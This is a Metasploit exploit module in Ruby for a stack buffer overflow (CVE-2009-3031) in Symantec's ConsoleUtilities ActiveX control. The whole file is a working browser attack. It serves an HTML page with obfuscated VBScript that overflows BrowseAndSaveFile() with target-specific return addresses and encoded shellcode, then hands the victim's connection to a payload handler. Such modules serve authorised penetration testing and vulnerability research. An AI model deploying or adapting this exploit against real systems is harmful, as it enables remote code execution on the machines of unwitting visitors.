##
# $Id: symantec_consoleutilities_browseandsavefile.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Symantecs ConsoleUtilities.
				By sending an overly long string to the "BrowseAndSaveFile()" method located
				in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to
				execute arbitrary code
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Nikolas Sotiriu (lofi)' ],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'CVE', '2009-3031'],
					[ 'OSVDB', '59597'],
					[ 'BID', '36698'],
					[ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],
					[ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1000,
					'BadChars'      => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3 English', 	    { 'Ret' => 0x7e47bcaf } ],
					[ 'Windows XP SP2 Universal',	    { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP
					[ 'Windows XP SP2 Pro German',      { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP
					[ 'Windows XP SP3 Pro German',      { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP
				],
			'DisclosureDate' => 'Nov 02 2009',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize variables
		vname   = rand_text_alpha(rand(20) + 1)
		junk    = rand_text_alpha(rand(20) + 1)
		eip     = rand_text_alpha(rand(20) + 1)
		morejunk = rand_text_alpha(rand(20) + 1)
		sc      = rand_text_alpha(rand(20) + 1)
		buf = rand_text_alpha(rand(20) + 1)

		# Set RET and shellcode
		ret = Rex::Text.to_unescape([target.ret].pack('V'))
		shellcode = Rex::Text.to_unescape(p.encoded)

		# Build the Site
		content = %Q|
	<html>
		<object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object>
		<script language='vbscript'>

		#{junk}=String(310,"A")
		#{eip}=unescape("#{ret}")
		#{morejunk}=String(18, unescape("%u0041"))
		#{sc}=unescape("#{shellcode}")

		#{buf}=#{junk}+#{eip}+#{morejunk}+#{sc}
		#{vname}.BrowseAndSaveFile "",#{buf},"","",""
		</script>
	</html>
		|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
